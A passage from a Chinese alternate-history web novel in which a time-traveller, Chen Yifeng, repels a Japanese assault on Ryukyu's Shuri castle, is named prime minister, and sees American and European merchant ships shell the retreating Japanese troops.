城中,皇宫大殿内,尚泰王瘫坐在龙椅上,面色苍白如纸。从悬崖宴会开始,他就像陷入了一场永无尽头的噩梦。欢喜、惊讶、惶恐,情绪如同过山车般起伏。 宫女端来一杯茶水,却被他颤抖的手打翻在地。瓷器碎裂的声音在空旷的大殿内格外刺耳。 “陛下!”金长森跪在殿前,声音急切,“日军已经包围皇宫,我们必须立即离开!” 林远渺却猛地拽住了尚泰王的衣袖:“陛下不可轻信此人!他是日本人的走狗!” “你说谁是走狗?”金长森豁然起身,眼中闪过凶光,“若不是你们这些叛逆分子,琉球何至于此?” 两个平日温文尔雅的文官撞在一起,顷刻间扭打成一团。林远渺一把揪住金长森的衣领:“我呸!你这条日本狗,早就该死了!” 金长森也不甘示弱,挥拳砸向林远渺的面门:“叛逆!把琉球推向深渊的就是你们这群人!” 宫女太监们惊慌失措,有的想要上前劝阻,有的则躲在角落瑟瑟发抖。尚泰王被夹在混乱中,华贵的龙袍被扯得破烂,连帽子都歪在一边。 突然,一阵震耳欲聋的喊杀声从城外传来。声浪一波接一波,仿佛要将整座皇宫掀翻。 尚泰王麻木的眼神终于有了一丝波动:“那是......” “是陈先生!”林远渺推开金长森,兴奋地跑到窗边,“陈先生带兵来了!” 城外,桦山栗源正带着一千五百精锐列阵,阵型严整,刀光森森。五百武士和忍者已经攀上城墙,正发起疯狂进攻。 城门楼上,几个琉球士兵正在奋力抵抗,但很快就被手里剑和飞镖放倒。鲜血顺着城墙潺潺而下,将青石砖染得斑驳。 就在这时,山坡上突然亮起了无数火把。陈逸风立于一块突出的岩石上,手持战旗,声音嘹亮:“兄弟们!冲锋!杀了桦山栗源!” 第六十八章 众人齐心击退敌军 密集的箭雨立刻射向陈逸风,箭矢破空之声不绝于耳。十几名勇士纷纷扑上去,用血肉之躯护住他。鲜血飞溅,但他们始终没有退缩半步。 “军师!快躲开!”有人大喊。 陈逸风却岿然不动,仰天长啸:“老子是乘运而来,这个时代要么接纳我,要么被我踏平!” 话音未落,天地间突然刮起一股诡异的旋风。这风来得蹊跷,竟带着一股若有若无的青色光芒。漫天箭矢在接触到旋风的瞬间,全部被卷飞出去,铛铛落地。 东方已经泛起鱼肚白,所有人都目睹了这不可思议的一幕。军阵中一片寂静,连呼吸声都消失了。 “神迹!这是神迹!”不知是谁突然喊了一声。 “天佑中华!”震天的呐喊声响起,士气如虹。 人潮如决堤的洪水,势不可挡地冲向日军阵型。桦山栗源的精锐虽然训练有素,但面对这股狂潮,也不由自主地后退。 沈达华立在城墙一角,默默注视着这一切。作为一个见多识广的人,他见过太多假神迹,但这一次,却让他不得不信。那股旋风中蕴含的力量,绝非人力所能及。 密集的人群中爆发出一阵震天的呐喊:“天佑中华,天佑陈先生!”声浪一波接一波,如同惊涛拍岸。数万华人此刻都陷入了疯狂般的狂热,他们高举着手中的武器,脸上写满狂热与期待。在这些普通百姓眼中,陈逸风就是他们心中的神明,是指引他们走向光明的明灯。 火光映红了半边天空,浓烟在微风中缓缓飘散。几股旋风突兀地出现在战场上,卷起地上的落叶和尘土,又悄然消散。这种火场中常见的自然现象,在陈逸风看来再正常不过。大火焚烧产生的热气上升,周围的冷空气补充形成气旋,完全符合科学道理。 “军师,您说这是自然现象,可为何偏偏在您遭受箭雨袭击时出现?”一名满脸血污的将领拱手问道,眼中闪烁着敬畏的光芒。 “是啊,军师。那些旋风简直就像是天兵天将在为您开路!”另一名将领激动地附和。 陈逸风揉了揉发涨的太阳穴,看着这些狂热的属下,一时不知该如何解释。与其跟这帮固执的家伙讲述概率学和物理定律,不如把心思放在眼前的战事上。 战场另一端,敌军虽然阵脚大乱,但并未完全崩溃。桦山栗源正在拼命稳住局势,他的脸上写满了愤怒与焦虑。 “结阵后撤!不准背对敌人!”桦山栗源一边怒吼,一边挥刀斩杀一名试图逃跑的武士。鲜血飞溅在他的铠甲上,却丝毫没有影响他指挥战斗的节奏。 在他的号令下,城墙上的武士纷纷放下绳索,与本阵会合。他们举着长枪,盾牌紧紧相连,向东面有序撤退。即便在如此危急的时刻,这支精锐之师依然保持着令人生畏的战斗力。 “弓箭手掩护!长枪手压制!”桦山栗源亲自督战,手中的武士刀不断挥舞,指引着部队的撤退方向。他的声音沙哑却依然洪亮,“保持阵型!不要乱!” 华人这边却已经杀红了眼。在陈字认旗的引领下,一波波冲锋此起彼伏。士兵们高举着长矛和刀剑,呐喊着向前冲锋,逼得日军不断后退。战场上,到处都是厮杀声和兵器碰撞的铿锵声。 瑾周信带领着一队精锐,不断向敌阵投掷炸药包。虽然这些简陋的爆炸物没有破片,但震耳欲聋的爆炸声却足以震慑人心。若不是武士们举刀镇压,日军恐怕早就溃不成军。 等到日军退入东面山地,陈逸风才挥手示意停止追击。此时天色已经泛白,晨光熹微中可以看到,山地中的敌军正在重整旗鼓。 桦山栗源坐在一块突出的山石上,望着远处的海面,轻叹道:“现在只能寄希望于海军了,炮兵是我们最后的希望。”他的手指无意识地摩挲着刀柄,眼中闪过一丝忧虑。 只见山本清跪倒在桦山栗源面前,铠甲上沾满了血迹和泥土。他的眼泪不断滚落,打湿了胸前的衣襟:“请让我切腹谢罪,都是我的过错...” “住口!”竹中井上一把抢过他手中的短刀,“你聚拢了两万人马,这就是大功。现在不是谢罪的时候,形势开始好转!” 桦山栗源站起身,走到山本清面前,拍了拍他的肩膀:“局面真的有转机了。这片山地地势险要,只要守住制高点,敌人就难以攻上来。等到海军开炮,形势就会改变。” 而此时的陈逸风,已经带领大军准备进城。苗烈高举着陈字认旗,带头向首里城挺进。这个憨厚的北方汉子,眼中闪烁着狂热的光芒,现在把陈逸风当成了真龙天子一般敬仰。 当城门洞开,陈字认旗出现在众人面前时,整个首里城陷入了死一般的寂静。街道两旁,百姓们探头探脑,既害怕又好奇地打量着这支闯入者。 金长森和一众内侍站在城门内,面如土色,难以置信地看着这一切。他们身后的御林军握紧了手中的武器,却不知该如何是好。 “蔡瑁,还愣着做什么?”陈逸风冷声下令,“把这些叛贼都给我拿下!” 御林军统领蔡瑁犹豫了一下,随即大喝一声:“遵命!”他一挥手,御林军立刻行动起来,开始抓捕叛臣。 被五花大绑的金长森被押到陈逸风面前,他抬起头,盯着陈逸风,嘴角扯出一丝苦笑:“陈先生,你打算如何应对日本人的反扑?别忘了,鹿儿岛离这里可是很近啊...” 陈逸风只觉得疲惫不堪,连日来的征战让他的神经一直紧绷。可现在还不是休息的时候,还有太多事情需要处理。他环视四周,看着这些昔日的权贵,声音中带着讥讽:“你们这些人,还真是目光短浅。这是怎样的乱世?这是变革的时代!” “瞧瞧你们的商业税收,一年不如一年。港口也门可罗雀,这些迹象都看不出来吗?”陈逸风冷笑着继续说道,“当你们对日本人失去利用价值,结局会是什么?除了被吞并,你们还能有什么选择?” 金长森震惊地看着他,脸上的表情从不屑到惊愕,最后化作了深深的绝望。 陈逸风猛地上前,左右开弓给了他两记响亮的耳光:“蠢货!你们这些人,就只会一味地依附强者,却不知道自己的路该怎么走!” 第六十九章 陈逸风任琉球宰相 跪在地上的金长森,这位曾经在朝堂上呼风唤雨的琉球重臣,此刻却像条丧家之犬般瑟瑟发抖。金长森的官服已经沾满了尘土,额头上的冷汗不断滑落,在地上洇出一个个小水渍。 “大人...我真的不知道...”金长森颤抖着开口,声音中带着几分哀求。 陈逸风冷笑一声,打断了他的话:“不知道?你们这些蠢货,真以为日本人是来帮你们的?” 城墙上的风更大了,吹得众人衣袍翻飞。几个琉球大臣面面相觑,眼中满是惶恐。他们从未见过如此咄咄逼人的陈逸风,往日那个温文尔雅的清国使臣仿佛换了个人。 “让我来告诉你们,为什么岛津家这两百年来一直没有吞并琉球。”陈逸风负手而立,目光投向远方翻涌的海面,声音中带着一丝讥讽。 站在一旁的蔡瑁握紧了刀柄,他能感受到空气中弥漫的紧张气氛。作为琉球军方大将,他比谁都清楚当前的局势有多么危急。 “琉球之所以存在,不过是因为你们手中的勘合贸易权。”陈逸风继续说道,“岛津家需要这个权利,所以才容忍琉球王室的存在。可是现在呢?” 他转过身,目光如刀般锐利:“英法的大炮已经轰开了大清的大门,勘合贸易早就成了一纸空文。你们的特产,不过是些糖、珊瑚、珍珠,在如今的海贸中又算得了什么?” 金长森的身子抖得更厉害了,他想要辩解,却发现自己的喉咙仿佛被什么东西堵住了。 “那霸港已经失去了昔日的地位。”陈逸风走到金长森面前,居高临下地看着他,“现在的商船,动辄上千吨。一艘疾翼船,三十天就能横跨太平洋。你们那点特产,连人家一船舱都填不满!” 城墙上的众人听得目瞪口呆。这些跨越时代的见识,让他们如坐针毡。几个年轻的官员悄悄擦了擦额头的冷汗,他们第一次意识到,自己引以为傲的琉球,在这个新时代中是多么的渺小。 “那霸港距离日本本土,不过朝发夕至的距离。商船根本不需要在这里补给!”陈逸风的声音中带着讥讽,“你们,已经成了岛津家的累赘!” 这番话如同一记重锤,砸在在场所有人的心头。空气仿佛凝固了,只有海风呼啸的声音在耳边回荡。 站在角落里的端义远暗暗握紧了拳头。作为琉球的文官,他比谁都清楚陈逸风说的是事实。这些年来,那霸港的商船越来越少,税收也在不断下降。 金长森终于崩溃了,他扑通一声跪在尚泰王面前,额头重重地磕在地上:“陛下!老臣糊涂啊!恳请陛下执行死刑,只求饶过我家人性命!” 其他亲日派大臣见状,也纷纷跪地求饶。他们的哭声混杂在一起,在城墙上回荡。 尚泰王站在那里,面色阴晴不定。他的目光在跪倒的大臣们身上扫过,最后落在了陈逸风身上。 良久,尚泰王走到陈逸风面前,深深一躬:“多谢先生指点迷津。” 他直起身,目光坚定:“从今日起,陈先生便是我琉球国的宰相,军政大权,一言当之!” 此言一出,满朝哗然。有人惊讶,有人不解,更有人露出了担忧的神色。但在蔡瑁和端义远的带头下,众臣纷纷向陈逸风行礼:“参见宰相!” 看着眼前这一幕,陈逸风心中难免有些得意。但很快,他就收敛了情绪。 “诸位请起。”他环视四周,声音沉稳,“现在不是说这些的时候。端义远,你立刻组织宫中人手准备粮食;蔡瑁将军,你和石爷带人去挑选精锐,守住城墙!” 众人领命而去,脚步声在石阶上回荡。陈逸风站在城墙上,看着忙碌的人群,眉头微皱。 不多时,首里城的广场上已经挤满了避难的百姓。粥香四溢,但陈逸风却拒绝了送到面前的热粥。 “士兵未食,我不食。”他接过一杯清水,“先给百姓和将士们!” 这一刻,周围的华人眼中含泪。这位来自大清的宰相,用实际行动赢得了所有人的心。 城墙上,蔡瑁正在指挥士兵加固防御。他们用木板和沙袋加固了薄弱处,还在城墙上布置了弓箭手。 “大人,”蔡瑁走到陈逸风身边,低声道,“我们的火药储备不多了。” 陈逸风点点头:“我知道。让士兵们省着点用,能用弓箭的就用弓箭。” 海风呼啸,浪涛翻涌,朝阳初升的天际泛着血色。 首里城巍峨耸立,它的建筑风格与中原古建筑如出一辙。坐北朝南的格局,正南方的主城门,一条贯通金城的中轴线,无不彰显着中华文化的深远影响。红色琉瓦在晨光中闪烁着微光,城墙上的守军来回巡视,时不时望向远处的海面,眼中满是忧虑。 但望海毕竟是座依山傍海的城市,平地稀少。首里城西面是连绵起伏的山坡与悬崖,居高临下,可以俯瞰整片大洋。清晨的海雾渐渐散去,露出了令人胆寒的一幕。 “快看!日本人的战船!”城墙上一名守军指着海面惊呼。 十艘日本关船整齐排列,黑洞洞的炮口对准了首里城。他们放弃了最初的目标那霸港,转而选择从海上直接轰击首里城。船只甲板上,水手们正在紧张地装填火药,准备开炮。 “该死的,他们怎么会出现在这里?”苗烈握紧了拳头,眉头紧锁。作为城防负责人,他清楚地知道首里城的火力配置根本无法与海上的战舰抗衡。 战场形势一目了然。首里城内,琉球国旗和陈字认旗依然飘扬。而桦山栗源的本阵却撤到了东面的乱石区,这无疑说明陆军已经败退。 “轰!”一声巨响打破了清晨的宁静。 日本水军开始了他们的进攻。虽然关船上只有六七门小口径前装舰炮,还都是西洋人淘汰下来的货色。但十艘战舰同时开火的场面,依然震撼人心。 “砰!砰!砰!”连续的炮击声中,火药爆炸的震动在海面激起层层涟漪,木质战船剧烈颤抖。远处首里城的西侧城墙上,黑色烟尘腾空而起,惊慌失措的人影四处奔逃。 第七十章 这简直是一场闹剧 “继续开炮!装弹药!装铁丸!”听从长官的调遣,十艘小型关船借着朝阳的光芒,向首里城倾泻着火力。 实心铁丸是城墙的克星。每一发炮弹撞击在城墙上,都会激起大量碎石和夯土四溅,城墙上逐渐布满了大大小小的坑洞。守军们四散奔逃,有的被爆炸的气浪掀翻,有的被碎石击中倒地不起。 在东面观战的桦山栗源看着这一幕,眼中闪过一丝复杂的情绪:“呦西,呦西...水军果然可靠,他们的勇气可嘉...” 他的副官小声提醒道:“大人,我们是不是该趁机进攻?” 桦山栗源摇了摇头,目光投向首里城的方向。此刻的他已经不再关注战场,而是把精力放在了战后的外交谈判上。这场冲突已经引起了西洋各国的注意,想瞒过永安幕府是不可能的。 “必须要控制住尚泰王...”他喃喃自语,“只要让他倒戈,以琉球王国的名义作证,才能堵住永安幕府的嘴。” 但陈逸风这个人不好对付。昨晚杀了一夜都不见他退缩,港口的轰鸣也没让他退缩,这确实是个与众不同的中原人。 就在桦山栗源思索之际,首里城的反击炮火响起。虽然城内军备薄弱,但还是有几门装门面的火炮。在苗烈等人的操作下,这些老式炮台开始反击,海面上激起阵阵水花。 “给我瞄准了打!”苗烈声嘶力竭地喊道,脸上的汗水混合着火药的黑灰,“就算是死,也要让这些日本人付出代价!” 然而日本水军对首里城炮台的位置了如指掌,对这些古老炮台的性能也非常清楚。面对琉球人的反击,他们毫不在意,反而加大了火力。 海面上停泊着数艘西方商船,洋人们看得目瞪口呆。这场古老的炮战让他们忍俊不禁,但每当看到首里城上被炸飞的尸体,笑意立刻凝固。 “这简直是一场闹剧。”一位英国商人摇着头说,“他们用的还是一百年前的火炮,连准头都没有。” 星条旗商船奋勇号甲板上,威廉姆船长彻夜未眠。身为一位心存正义的美国商贾,他对日本人屠杀华人的行径极为愤慨。但作为商人,他只能保持中立,为这些中国人祈祷。 “船长,我们真的要袖手旁观吗?”一个水手问道。 威廉姆没有回答,只是紧紧盯着战场。就在这时,一艘小舢板快速驶来,直奔勇进号而去。 “船长,我是迈克...请求登船!”熟悉的声音传来。 船员们垂下扶梯,将迈克和孟明蛇拉上甲板。众人用疑惑的目光打量着浑身杀气的孟明蛇,本能地感觉这个中国人不好惹。 迈克满脸黑灰,扶着桅杆喘着粗气:“威廉姆先生...恳请您即刻出兵援助,对东洋人痛下杀手!” “什么?”威廉姆瞪大了眼睛,“年轻人,你在这开玩笑呢?你想让我参与大清与东瀛的纷争?” 迈克的下一句话却让船长愣住了:“船长先生,咱们的同胞被困在内,总统的铁哥们被困其中...陈逸风不仅仅是清国人,他还是美国公民!” 甲板上一片哗然,水手们面面相觑。迈克从孟明蛇怀中取出那把象牙柄的特制雷明顿铳,用手指划过把手上总统的姓名:“看清楚了,这是总统赐给陈逸风的配枪,感谢他的救命之恩。总统遇刺案你们没听说吗?” 满船的美国人都沸腾了。林肯总统正值声望最高之时,控制太平洋贸易的美国人又多为北方人,这里几乎都是他的支持者。 “船长,这样我们就有理由参战了!”一个水手激动地喊道。 “没错,就东洋人那三脚猫功夫,我们的火炮足够教训他们!”另一个水手附和。 威廉姆船长皱眉道:“迈克,别给我出难题。我不能因为一把真假难辨的手枪就介入国际冲突。” 迈克摇头打断道:“我以上帝的名义发誓,陈逸风确实是美国公民,是总统的救命恩人!这不仅关系到一个人的生死,更关系到我们国家的利益!” 他的声音越来越激动:“内战结束满目疮痍,你知道国家多么需要新的市场和订单吗?美利坚渴求新领地,需要新市场!但大战之后我们没有力量和英法争锋,只能渴望以和平方式拓展商机...” 迈克举起雷明顿,慢慢对准了威廉姆船长:“现在,这是我们祖国崛起的天赐良机,一次靠外交智慧撬开国门的契机!威廉姆,你不要,但美国想要!” 甲板上的气氛瞬间凝固。水手们不知所措,有人悄悄摸向腰间的武器。威廉姆注视着迈克颤抖的枪口,让他想起了战死沙场的侄子和那些好友。他们献出生命究竟图什么?或许此刻就该为国捐躯。 就在这剑拔弩张之际,瞭望台突然传来惊呼:“船长!快看!日本战舰打起来了,他们内乱了!” 所有人都转头望向海面。只见三艘日本战船陷入火海,桅杆摇摇欲坠,甲板上的喊杀声此起彼伏。无数水手从船舷边缘坠落,有的已经没了气息,随着波浪起伏;有的还在水中拼命挣扎,发出绝望的呼救。 最令人震惊的是,那三艘着火的战舰竟然调转炮口,开始向自己人开火。如此近的距离下,几乎是弹无虚发。炮弹撕裂了木质船体,碎片四处飞溅,惨叫声不绝于耳。 整个日本舰队陷入了一片混乱,船只相互碰撞,火药桶在甲板上滚动。有经验的水手都知道,一旦火星引燃了火药,整艘船都会化为齑粉。 首里城头上,陈逸风举着望远镜,兴奋得手舞足蹈。他的脸上泛着红光,眼中闪烁着胜利的光芒:“好!打得好!野平太这小子果然没让我失望,关键时刻顶得住!” 站在一旁的诸葛林和苗烈听了这话,脸色都有些不太自然。两人对视一眼,眼中都流露出一丝不满。 “咱们什么时候怂过?”诸葛林小声嘀咕着。 苗烈也撇了撇嘴,声音里带着一丝酸意:“就是,关键时刻我们也没缩着。” 第七十一章 日本“难民”纷纷上关船 此时在海面上大显神威的野平太,早已凭借着特殊的身份,和那霸港的一群亡命之徒打成了一片。这些人虽然还不能叫做黑社会,但在秩序之外横行霸道已久。其中以山贼和海贼最为猖獗,他们就像附着在商船上的寄生虫,靠着劫掠为生。 望海作为重要的海上商埠,自古就是海贼的乐园。他们驾驶着关船,装作普通商船在海上游荡。船帆上绘着各种商号的标志,看起来人畜无害。但一旦发现目标,立刻贴身肉搏,劫掠一空。 这个古老的职业曾经风光无限,但近年来日子却不好过。洋人的大船占据了海上贸易的主导地位,他们的船又高又快,火炮威力惊人。这些海贼的小船在洋船面前,就像老鼠遇到了大象,只能望洋兴叹。 再加上清国和日本的商人被挤压得喘不过气,海贼们的生意也就越发难做。很多人已经开始考虑转行,但在这个时代,他们除了打打杀杀,还能干什么? 那霸港的陆地是恶八郎的地盘,海贼们不敢越雷池一步。以前海上生意红火时还好,现在日子难过,想在陆地上讨生活却处处受制。恶八郎手下的浪人横行霸道,对这些落魄的海贼更是百般刁难。 恶八郎自然不会让他们分一杯羹。加上桦山栗源对这些海贼也没什么好感,渐渐地,恶八郎带领的浪人成了那霸港最大的势力。 今天,野平太给这群海贼带来了天大的机会。不仅能发一笔横财,还有可能彻底改变身份。 “那个国士不会是骗子吧...”另一个瘦小的海贼还在怀疑,但当听说连天皇都看他的书时,立刻改口道,“原来是这么厉害的人物!” “清国的陈大人到底有多少钱?给我们多少报酬?”一个独眼龙海贼急切地问道。当听说最少十枚洋银时,他的独眼中闪过一道精光。 这些穷途末路的海贼听说有这么好的差事,顿时像打了鸡血一样。将近两百号人从藏身之处冲了出来,很快就制定好了作战计划。 这些海贼不是莽夫,他们最擅长的就是演戏。特别是装作落难者求救,那演技堪称一绝。多年的劫掠经验让他们深谙此道,每个人都能在瞬间变成可怜的难民。 十艘关船正在交火时,岸边突然出现了一百多个慌不择路的“难民”。有穿着盔甲的足轻,衣甲上还沾着血迹;有衣着华贵的商人,衣服上满是泥土;还有衣不蔽体的女人,梨花带雨地哭喊着。 这群人看到日本战舰就像看到救星一般,纷纷划着小船靠近。他们的表情惊恐万状,仿佛身后有什么可怕的东西在追赶。 “将军大人救命啊!”几个衣衫不整的女人在前面哭喊,声音凄厉,“我们被暴徒追杀,求您收留!” “剑士大人,我们是山本清大人的部下!”一个披头散发的剑士大声喊道,“敌将的人马已经溃不成军,首里城和那霸港都落入清国人手中了!” “大木君!是我啊!”一个满脸胡渣的男人挥舞着手臂,“咱们曾经把酒言欢!还记得吗?” 海面上顿时乱成一团。各种哭喊声、求救声不绝于耳,混杂着炮火的轰鸣,场面一片混乱。 这些战舰上的日本人见是同胞,不忍见死不救,纷纷放下了绳梯。有的甚至扔下救生索,想要拉这些“难民”上船。 这一放,就彻底完了。 野平太第一个冲上甲板,寒光一闪,两颗人头冲天而起。鲜血喷涌而出,足有一丈多高,在阳光下形成一道血虹。 其他海贼紧随其后,从衣服里掏出藏好的武器,对着猝不及防的水手展开了屠杀。短刀、长剑、铁锤,各种武器挥舞着,将甲板变成了修罗场。 “杀!”一个海贼挥舞着染血的长刀怒吼,“这些岛津家的狗腿子,平时对恶八郎那么好,看着我们快饿死也不管!今日战个尽兴,给陈大人交份投名状!” 野平太浑身浴血,宛如修罗降世。他的眼中闪烁着疯狂的光芒,手中的名刀如死神的镰刀,不断收割着生命:“战斗!不要留活口!谁的战功最多,我亲自向陈先生请功!说不定还能被赐姓!” “陈先生是清国的财神爷,只要追随他,赏钱取之不尽!”野平太一边砍杀,一边大声鼓舞士气。他的声音穿透了战场的喧嚣,让所有海贼都热血沸腾。 那几个衣不蔽体的女海贼也疯狂了。她们调转船上的火炮,对准其他关船就是一通狂轰滥炸。炮弹呼啸着划过天空,将木质战舰撕成碎片。 “本姑娘想整点高度数的!”一个女海贼扯着嗓子喊道,“吃最好的菜!玩最帅的男人!这功劳谁也别想抢!” 轰隆隆的炮声中,对面的关船被炸得支离破碎。木屑纷飞,火光冲天,惨叫声此起彼伏。 就在陈逸风用望远镜观察战况时,洋人商船队列中突然有了异动。 一艘商船升起了帆,船身缓缓转向。紧接着一面巨大的星条旗冉冉升起,在海风中格外耀眼。 “咦?”陈逸风放下望远镜,眉头微皱,“这不是威廉姆的勇进号吗?怎么突然离队了?还朝着日本战舰冲过去了?” 此时的威廉姆船长已经下定了决心。这位怀揣着美国英雄梦的老兵,终于被迈克说动了。他的眼中闪过一丝决然,仿佛回到了年轻时在战场上冲锋陷阵的岁月。 他轻轻放下顶在太阳穴上的手枪,声音沙哑却坚定:“迈克,不用说了。我也曾在星条旗下效力,如果再年轻些,我或许也会死在内战战场上。现在,是我为祖国尽最后一份力的时候了。” 他环视着所有水手,目光炯炯有神:“战士们,我们的同胞正在战场上浴血奋战。这场针对平民的暴动还在继续。我以一名美国老兵的身份命令你们,拿起武器,准备战斗!” “升起最大的星条旗!”威廉姆的声音越来越响亮,“发出旗语,告诉所有美国商船,作为一名退伍军人我重返战场!从现在起,勇进号就是母舰,恳请各位美籍船只看在天主的面子上,跟随我们作战!” 第七十二章 美国商船升起星条旗 看着一群热血沸腾的年轻水手,威廉姆突然大吼:“前年我军猛攻了海港,今年就让这些暴徒尝尝美国人的厉害!” “胜利!”所有水手都疯狂呐喊起来,他们的眼中闪烁着狂热的光芒。年轻的心脏在胸膛中剧烈跳动,血液沸腾着奔涌。 其他国家的商船都被这一幕惊呆了。 “上帝啊!美国人疯了吗?”一个英国船长目瞪口呆。 “勇进号凭什么指挥其他商船?谁会听他的?”一个法国水手不屑地撇嘴。 然而这些老牌资本主义国家永远无法理解一个新兴帝国的进取精神。为了荣誉,年轻的美国从不畏惧任何挑战。他们的血液中流淌着开拓者的基因,对于任何机会都充满渴望。 一艘接一艘的美国商船开始响应勇进号的号召,他们纷纷备战,向勇进号靠拢。桅杆上升起了一面面星条旗,在阳光下熠熠生辉。 “天佑星条旗的国度!” “暴徒必将受到惩罚!” “老兵不死,永远战斗!” 旗语不断传递着这些热血沸腾的口号,整个海面仿佛都被这种气氛感染了。 当蔡瑁为陈逸风翻译这些旗语时,他已经想明白了前因后果。迈克成功了,他竟然成功说服了那群洋人。这些年轻的水手们正在经历他们人生中最激动人心的时刻。 “向你们致敬。”陈逸风放下望远镜,向海面上的星条旗行了一个标准的美军军礼。他感慨道,“不管未来的超级大国会变成什么样,但今天,我亲眼见证了你们最值得骄傲的时刻。” 这一刻,他等待已久。城墙上的琉球士兵们惊恐地看着远处不断逼近的炮火,有人已经开始后退,但陈逸风依然岿然不动。 沉重的炮弹不断砸在城墙上,整座金城都在剧烈摇晃。几百年未曾动过的房梁上,灰尘簌簌落下。宫女们惊慌失措地四处逃窜,尖叫声此起彼伏。有人抱着头蹲在角落里瑟瑟发抖,有人拉着同伴往更深处躲藏。 “大人,我们要不要撤离?”一名琉球将领跑到陈逸风身边,声音中带着明显的颤抖。 陈逸风摆了摆手:“不必惊慌,这些炮火伤不到我们。” “可是...”将领还想说什么,却被一声巨响打断。 一发炮弹落在了城墙外的空地上,炸出一个巨大的弹坑。碎石四溅,将领吓得连连后退。 就在这时,尚泰王的声音从身后传来:“宰相!” 陈逸风回头,只见尚泰王正带着一队龙骧军快步走来。年轻的国王脸上没有丝毫惧色,反而带着一种奇特的兴奋。 “这就是您说的力量吗?”尚泰王仰头看着天空中呼啸而过的炮弹,眼中闪烁着异样的光芒。 炮声太响,陈逸风只能凑近他的耳边:“陛下,这还不是真正的力量。” “什么?”尚泰王一愣。 就在这时,又一发重炮轰在了前方不到二十米处的城墙上。巨大的轰鸣声中,三米多高的城墙轰然倒塌。砖石横飞,烟尘弥漫。 龙骧军迅速将尚泰王护在中间,但此时的他已经完全沉浸在这种前所未见的力量展示中。 “宰相!”尚泰王突然跪倒在地,声音中带着哭腔,“求您赐给琉球这种力量,我们受够了这些委屈和压迫!” 周围的龙骧军见状,纷纷跪倒。陈逸风没有避开这个跪拜,他知道,现在正是彻底折服琉球朝廷的最好时机。 “陛下,您以为这就是力量?”陈逸风冷笑一声,目光扫过远处的海面,“这不过是冰山一角罢了。” 就在此时,海面上突然传来一阵更加猛烈的炮声。美国商船的火力全开,密集的炮弹如雨点般落下,准确地命中了日本的关船。 轰隆隆的爆炸声中,一艘关船的桅杆轰然断裂,船身开始倾斜。不到片刻,这艘战船便沉入了海底。海面上腾起巨大的水柱,夹杂着破碎的木板和帆布。 “这...这是美国的战舰?”尚泰王震惊地看着这一幕。他从未见过如此精准而强大的火力。 陈逸风点点头:“美国人的火力才是真正的力量。看好了,陛下,这才是现代战争的真面目。” 话音未落,海面上最后两艘日本关船已经升起了白旗。投降的信号在海风中飘扬,宣告着这场海战的结束。 “蔡瑁将军!”陈逸风兴奋地喊道,“立刻给美国人发旗语,就说琉球王国请求军事援助,让他们轰炸山坡上的日军!” 蔡瑁立刻指挥士兵打出旗语。很快,美国战舰调转炮口,对准了桦山栗源的阵地。 天空中划过一道道白线,随后是震耳欲聋的爆炸声。日军的防御阵地瞬间化为一片火海。惨叫声、爆炸声此起彼伏,硝烟弥漫了整个山坡。 在山坡上的临时指挥所里,桦山栗源和山本清跪坐在石头上,绝望地看着这一切。他们的部队在美国战舰的轰击下节节败退,伤亡惨重。 “山本桑,我们已经无路可走了。”桦山栗源苦笑道,手中握着一把短刀。 山本清默默地点头,也抽出了自己的短刀。两人对视一眼,准备以剑士道精神结束自己的生命。 就在这时,竹中井上突然冲了进来:“住手!现在死有什么用?” 他一把抢过两人的短刀,喘着粗气说道:“你们要活着,为主公分担罪责!死了什么都解决不了!” 正说着,一发炮弹在附近爆炸,整个指挥所剧烈摇晃。竹中井上被气浪掀翻在地,头部重重撞在石头上。 “竹中君!”桦山栗源和山本清惊慌地扑了过去。 竹中井上虚弱地睁开眼:“别担心,我已经派人通知了坂本龙马...他一定会想办法的...” 此时,在距离那霸港一个时辰的海面上,一艘岛津家的关船正在疾驰。船头站着一个年轻人,正是维新派的重要人物——坂本龙马。 他已经在甲板上站了一整夜,远处那霸港的浓烟让他心急如焚。海风吹乱了他的头发,但他的目光始终没有离开过那个方向。 第七十三章 洋舰齐轰日军指挥部 “千万不要出人命...”坂本龙马喃喃自语。 船上的水手们来来往往,但没有人敢打扰这位年轻的维新志士。 可惜,他的祈祷已经太迟了。那霸港的战火,已经无法停止。美国战舰的炮火仍在继续,日军的阵地在一点点崩溃。 首里城的城墙上,陈逸风看着这一切,心中暗自盘算。这场战斗的结果将彻底改变琉球的命运。而他,就是这场变革的推手。 尚泰王仍跪在地上,目光中充满了渴望。他终于看到了希望,看到了琉球摆脱弱小的希望。 “宰相,”他突然开口,声音中带着前所未有的坚定,“我愿意付出任何代价,请您帮助琉球获得这种力量。” 陈逸风没有立即回答,而是继续注视着远处的战场。 浓烟滚滚,火光冲天。 坂本龙马站在船头,望着远处那霸港的轮廓,手中的望远镜几乎要被捏碎。港口周围的建筑物残垣断壁,曾经繁华的街道上横七竖八地躺着无人收拾的尸体。首里城的西侧城墙千疮百孔,许多垛口已经坍塌,显现出深处黝黑的陈年土墙。 海面上到处漂浮着木片残骸,空气中弥漫着刺鼻的硝烟味。数十艘洋人商船正对着首里城东面的山坡疯狂开火,炮声轰鸣不绝于耳。 “这...这不可能。”坂本龙马的手微微发抖,举起望远镜仔细观察着东面的山坡。 那里只剩下一些人工堆砌的矮墙,几面残破的白旗在风中凄凉地飘荡,还有零星散落的尸体。明明已经没有活人了,这些洋人却还在不停地开炮,炮弹落在早已被炸得坑坑洼洼的地面上,激起一团团尘土。 “都疯了,真是都疯了。”坂本龙马喃喃自语。 船上的水手们面面相觑,没人敢出声。 实际上,就连陈逸风也没料到事态会发展到这种地步。为了给美国人一个保护伞,他特意用旗语通知他们,这次炮击是琉球王室请求的。这一个简单的举动,瞬间改变了整个战争的性质。 从见义勇为变成了雇佣军行动。 这意味着炮击费用要由琉球王室买单,意味着这成了一场外交纠纷,意味着各国都有了介入的理由。当其他国家的商船看到这条旗语后,顿时炸开了锅。 “该死的美国佬!”一艘英国商船上传来怒吼。 “居然敢独吞这么肥的生意!”法国船长在甲板上跳脚大骂。 “我们也要参战!这笔账该算在琉球头上!”荷兰商人们纷纷叫嚷。 英国、法国、荷兰、葡萄牙、西班牙的商船纷纷行动起来,争先恐后地对着东面的阵地开火。这哪里是什么战斗,分明就是一场鞭尸表演。美国商船早已押着投降的日本关船退到一旁看戏,其他洋人却还在疯狂炮击那片早已空无一人的区域。 他们在向琉球王室展示实力,也在为本国政府立威。 就在这片轰鸣声中,坂本龙马的船缓缓驶近港口。突然,一艘法国商船和一艘荷兰商船向他们冲来,船上的水手们端着火枪,显然是把他们当成了漏网之鱼。 